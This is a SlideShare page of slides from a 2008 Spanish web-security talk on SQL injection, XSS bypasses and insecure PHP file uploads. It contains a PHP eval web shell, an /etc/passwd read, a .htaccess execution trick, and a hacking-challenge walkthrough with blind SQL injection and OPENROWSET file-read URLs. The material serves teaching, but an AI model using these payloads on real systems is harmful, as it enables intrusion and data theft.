Asegúr@IT II - Seguridad en Web

2,688 views
2,578 views

Published on

Diapositivas de la sesión de José María Palazón "Palako" del evento Asegúr@IT II realizado en Abril de 2008 en Barcelona

Published in: Technology, Sports
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
2,688
On SlideShare
0
From Embeds
0
Number of Embeds
763
Actions
Shares
0
Downloads
88
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Asegúr@IT II - Seguridad en Web

  1. 1. Cuidado con lo que te comes Jose Palazón (a.k.a. palako)
  2. 2. ' or 1=1-- <ul><li>¿Hay vida después de ' ? </li></ul><ul><ul><li>SQL Injection </li></ul></ul><ul><ul><li>parametros numericos </li></ul></ul><ul><ul><li>utf-* y unicode </li></ul></ul><ul><ul><li>/**/ </li></ul></ul><ul><ul><li>blind sql injection </li></ul></ul><ul><ul><li>blind con consultas pesadas </li></ul></ul>
  3. 3. <script>alert(1);</script> <ul><li>¿Y si filtro “<script>”? </li></ul><ul><li>javascript: </li></ul><ul><li>style href=javascript: </li></ul><ul><li>style href= http://ha.ckhers.org/xss.css </li></ul><ul><li>style expression() </li></ul><ul><li>style url() </li></ul><ul><li>Cheat Sheet: http://ha.ckers.org/xss.html </li></ul><ul><li>¿httpOnly? XST </li></ul>
  4. 4. ¿Que más? <ul><li>Remote File Inclusion </li></ul><ul><li>Local File Inclusion </li></ul><ul><li>Script code Execution </li></ul><ul><li>Shell code Execution </li></ul><ul><li>Full Path Disclosure </li></ul><ul><li>* injection </li></ul><ul><li>Parameter restrictions bypass </li></ul>
  5. 5. <input type=”file”> <ul><li>WebAppSecurity/admin/documentos.php </li></ul><form method = &quot;POST&quot; enctype = &quot;multipart/form-data&quot; action = &quot;documentos.php&quot; > <label for = &quot;doc&quot; > Documento: </label> <input type = &quot;file&quot; name = &quot;doc&quot; id = &quot;doc&quot; /> <input type = &quot;submit&quot; name = &quot;enviar&quot; value = &quot;Enviar&quot; /> </form>
  6. 6. globals if ( $doc ) { echo &quot;<b>Nuevo documento a&ntilde;adido</b><br/>&quot; ; echo &quot;tmp: &quot; . $doc . &quot;</br>&quot; ; echo &quot;Nombre: &quot; . $doc_name . &quot;</br>&quot; ; echo &quot;Tipo: &quot; . $doc_type . &quot;</br>&quot; ; echo &quot;Tama&ntilde;o: &quot; . $doc_size . &quot;</br>&quot; ; copy ( $doc , $docsPath . $doc_name ); }
  7. 7. globals <ul><li>$doc puede venir por GET, POST,.... </li></ul><ul><li>?doc=/etc/passwd&doc_name=passwd </li></ul><ul><li>http://localhost/~palako/WebAppSecurity/admin/documentos.php?doc=/etc/passwd&doc_name=passwd </li></ul>
  8. 8. $_FILES if ( $_FILES ) { echo &quot;<b>Nuevo documento a&ntilde;adido</b><br/>&quot; ; echo &quot;tmp: &quot; . $_FILES [ &quot;doc&quot; ][ &quot;tmp_name&quot; ] . &quot;</br>&quot; ; echo &quot;Nombre: &quot; . $_FILES [ &quot;doc&quot; ][ &quot;name&quot; ] . &quot;</br>&quot; ; echo &quot;Tipo: &quot; . $_FILES [ &quot;doc&quot; ][ &quot;type&quot; ] . &quot;</br>&quot; ; echo &quot;Tama&ntilde;o: &quot; . $_FILES [ &quot;doc&quot; ][ &quot;size&quot; ] . &quot;</br>&quot; ; if ( is_uploaded_file ( $_FILES [ &quot;doc&quot; ][ &quot;tmp_name&quot; ])) move_uploaded_file ( $_FILES [ &quot;doc&quot; ][ &quot;tmp_name&quot; ], $docsPath . $_FILES [ &quot;doc&quot; ][ &quot;name&quot; ]); else echo &quot;<br/<b>ERROR: No se puede acceder al fichero</b><br/>&quot; ; }
  9. 9. Sin filtros <ul><li>Se puede subir cualquier tipo de fichero </li></ul><ul><ul><li>eval.php <?php eval ( $_GET [ &quot;command&quot; ]); ?> </li></ul></ul><ul><li>http://localhost/~palako/WebAppSecurity/admin/docs/eval.php?command=passthru('uname -a'); </li></ul><ul><ul><li>LFI: cat /etc/passwd </li></ul></ul><ul><ul><li>Source code disclosure: cat documentos.php </li></ul></ul>
  10. 10. $FILES[“doc”][“type”] function tipoValido( $type ) { $tiposValidos = array ( 'image/jpeg' , 'image/gif' , 'image/png' , 'image/bmp' , 'application/pdf' , 'text/plain' ); return ( in_array ( $type , $tiposValidos )); }
  11. 11. $_FILES[“doc”][“type”] <ul><li>POST tampering </li></ul><ul><li>Cambiar HTTP Content-type en la petición </li></ul>
  12. 12. mime_content_type function tipoValido2( $doc ) { $tiposValidos = array ( 'image/jpeg' , 'image/gif' , 'image/png' , 'image/bmp' , 'application/pdf' , 'text/plain' ); return ( in_array ( trim ( mime_content_type ( $doc )), $tiposValidos )); }
  13. 13. mime_content_type <ul><li>magic numbers </li></ul><ul><li>el comando “file” </li></ul><ul><li>/usr/share/file/magic(.mime) </li></ul><ul><ul><li>/usr/share/misc en linux </li></ul></ul><ul><li>0 string GIF image/gif </li></ul><ul><li>0 beshort 0xffd8 image/jpeg </li></ul>
  14. 14. $files[“doc”][“name”] function extensionValida( $docName ) { $extensionesProhibidas = array ( 'php' , ); $partes = split ( &quot;.&quot; , $docName ); if ( count ( $partes )>1) return (! in_array ( $partes [1], $extensionesProhibidas )); return ( false ); }
  15. 15. extensiones prohibidas <ul><li>.inc, .php5 </li></ul><ul><li>Solo filtras lo que TU conoces </li></ul><ul><li>Mejor permitir lo conocido como bueno </li></ul>
  16. 16. eregi() function extensionValida2( $docName ) { $extensionesValidas = array ( 'jpg' , 'gif' , 'png' , 'bmp' , 'pdf' , 'txt' ); foreach ( $extensionesValidas as $ext ) if ( eregi ( $ext , $docName )) return ( true ); return ( false ); }
  17. 17. eregi() <ul><li>Extension valida en cualquier parte del fichero </li></ul><ul><li>Es muy dificil hacer un buen filtro con expresiones regulares </li></ul><ul><li>Bloqueos no deseados </li></ul>
  18. 18. extensiones permitidas function extensionValida3( $docName ) { $extensionesValidas = array ( 'jpg' , 'gif' , 'png' , 'bmp' , 'pdf' , 'txt' ); $partes = split ( &quot;.&quot; , $docName ); if ( count ( $partes )>1) return ( in_array ( $partes [1], $extensionesValidas )); return ( false ); }
  19. 19. extensiones permitidas <ul><li>Mas de un punto en el nombre del fichero </li></ul><ul><li>A veces no se pueden filtrar todas las extensiones permitidas </li></ul><ul><ul><li>ej. attachements en un webmail </li></ul></ul>
  20. 20. ¿que tiene de malo un .txt? function extensionValida4( $docName ) { $extensionesProhibidas = array ( 'php' , 'php3' , 'php4' , 'php5' , 'inc' , 'shtml' ); $partes = split ( &quot;.&quot; , $docName ); if ( count ( $partes )>1) return (! in_array ( $partes [ count ( $partes )-1], $extensionesProhibidas )); return ( false ); }
  21. 21. ¿Que tiene de malo un .txt? <ul><li>AllowOverride FileInfo </li></ul><ul><li>AllowOverride All </li></ul><ul><li>.htaccess </li></ul><ul><ul><li>AddType application/x-httpd-php .php .txt </li></ul></ul><ul><ul><li>eval.txt </li></ul></ul>
  22. 22. Vivimos para los retos hacking Reto V. Fase II.
  23. 23. Reto V. Fase II. <ul><li>http://retohacking5.elladodelmal.com/privado/Nivel2.aspx </li></ul><ul><li>La inscripcion en el mono </li></ul><ul><li>ho pdsd txh wh oohydud d uhvroyhu ho sxcoh vh hqfxhqwud hq od fdushwd uhfxuvrv gh od xqlgdg sulqflsdo </li></ul><ul><li>Desplazamiento 4 a la izquierda </li></ul><ul><li>el mapa que te ayudara a resolver el puzle se encuentra en la carpeta recursos de la unidad principal </li></ul>
  24. 24. Reto V. Fase II. <ul><li>Blind sqlinjection </li></ul><ul><li>ObtenerDatosPaso2.aspx?idObjeto=1  </li></ul><ul><ul><li>contenido=No pienso agacharme a coger ese objeto </li></ul></ul><ul><li>ObtenerDatosPaso2.aspx?idObjeto=1%20and%201=1-- </li></ul><ul><ul><li>contenido=No pienso agacharme a coger ese objeto </li></ul></ul><ul><li>ObtenerDatosPaso2.aspx?idObjeto=1%20and%201=2-- </li></ul><ul><ul><li>contenido=No conozco el objeto </li></ul></ul>
  25. 25. Reto V. Fase II <ul><li>Tablas y columnas </li></ul><ul><li>1%20union%20select%201-- </li></ul><ul><ul><li>contenido=No pienso agacharme a coger ese objeto </li></ul></ul><ul><li>1%20union%20select%201,1-- </li></ul><ul><ul><li>contenido= </li></ul></ul><ul><li>1%20union%20select%201%20from%20INFORMATION_SCHEMA.TABLES-- </li></ul><ul><ul><li>contenido= </li></ul></ul><ul><li>1%20union%20select%201%20from%20sysobjects-- </li></ul><ul><ul><li>contenido=No pienso agacharme a coger ese objeto </li></ul></ul><ul><li>1%20union%20select%201%20from%20syscolumns-- </li></ul><ul><ul><li>contenido=No pienso agacharme a coger ese objeto </li></ul></ul>
  26. 26. Reto V. Fase II <ul><li>-1%20%20union%20select%201%20from%20sysobjects%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name='objetos';-- </li></ul><ul><ul><li>contenido=No pienso agacharme a coger ese objeto </li></ul></ul><ul><li>-1%20%20union%20select%201%20from%20sysobjects%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20%3C%20'objetos';-- </li></ul><ul><ul><li>contenido=No conozco el objeto </li></ul></ul><ul><li>-1%20%20union%20select%201%20from%20sysobjects%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20%3E%20'objetos';-- </li></ul><ul><ul><li>contenido=No conozco el objeto </li></ul></ul>
  27. 27. Reto V. Fase II <ul><li>-1%20%20union%20select%201%20from%20sysobjects,syscolumns%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20=%20'objetos'%20and%20syscolumns.name='id';-- </li></ul><ul><ul><li>contenido=No pienso agacharme a coger ese objeto </li></ul></ul><ul><li>-1%20%20union%20select%201%20from%20sysobjects,syscolumns%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20=%20'objetos'%20and%20syscolumns.name%3C'id';-- </li></ul><ul><ul><li>contenido=No conozco el objeto </li></ul></ul><ul><li>1%20%20union%20select%201%20from%20sysobjects,syscolumns%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20=%20'objetos'%20and%20syscolumns.name%3E'id';-- </li></ul><ul><ul><li>contenido=No conozco el objeto </li></ul></ul>
  28. 28. Reto V. Fase II <ul><li>OPENROWSET </li></ul><ul><li>http://retohacking5.elladodelmal.com/privado/ObtenerDatosPaso2.aspx?idObjeto=-1%20union%20select%201%20where%20@@version%20like%20'microsoft%20sql%20server%202005%20-%209.00.1399.06%20_intel%20x86_%20_%'-- </li></ul><ul><li>microsoft sql server 2005 - 9.00.1399.06_intel x86_   </li></ul><ul><li>http://retohacking5.elladodelmal.com/privado/ObtenerDatosPaso2.aspx?idObjeto=1;SELECT%20*%20FROM%20OPENROWSET(BULK%20'c: ecursosmapa.jpg',%20SINGLE_BLOB)%20AS%20Document);-- </li></ul><ul><li>http://retohacking5.elladodelmal.com/privado/ObtenerDatosPaso2.aspx?idObjeto=1%20and%20(len((SELECT%20*%20FROM%20OPENROWSET(BULK%20'c: ecursosmapa.jpg',%20SINGLE_BLOB)%20AS%20Document))=3675);-- </li></ul><ul><li>Ver exploit retoV_F2.pl </li></ul>

×